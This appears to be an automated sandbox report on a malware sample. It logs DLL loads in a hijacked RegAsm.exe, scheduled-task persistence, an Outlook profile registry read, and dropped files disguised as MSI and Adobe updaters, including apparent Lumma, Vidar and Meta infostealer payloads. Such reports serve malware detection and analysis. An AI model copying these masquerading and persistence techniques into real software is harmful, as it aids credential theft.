Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: acgenral.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: BRWgvKaqbg.exe

Static file information: File size 1847296 > 1048576

Source: BRWgvKaqbg.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x194400

Source: BRWgvKaqbg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: BRWgvKaqbg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004595B8 LoadLibraryA,GetProcAddress,MessageBoxA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,GetProcessId,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,SetThreadExecutionState,SetThreadExecutionState,SetThreadExecutionState,

2_2_004595B8

Source: sqlt[1].dll.43.dr

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00579A6C push ecx; ret	0_2_00579A7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00544062 push ss; ret	2_2_00544064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005262E1 push esp; ret	2_2_005262E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00540482 push ss; ret	2_2_00540484
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DA9A6C push ecx; ret	13_2_00DA9A7F
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00629A6C push ecx; ret	14_2_00629A7F
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BD9A6C push ecx; ret	26_2_00BD9A7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 28_2_028EE540 push eax; ret	28_2_028EE541
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C39A6C push ecx; ret	33_2_00C39A7F
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00439A6C push ecx; ret	42_2_00439A7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00421EF5 push ecx; ret	43_2_00421F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221810C8 push ecx; ret	43_2_22383552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22181BF9 push ecx; ret	43_2_22324C03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	Jump to dropped file
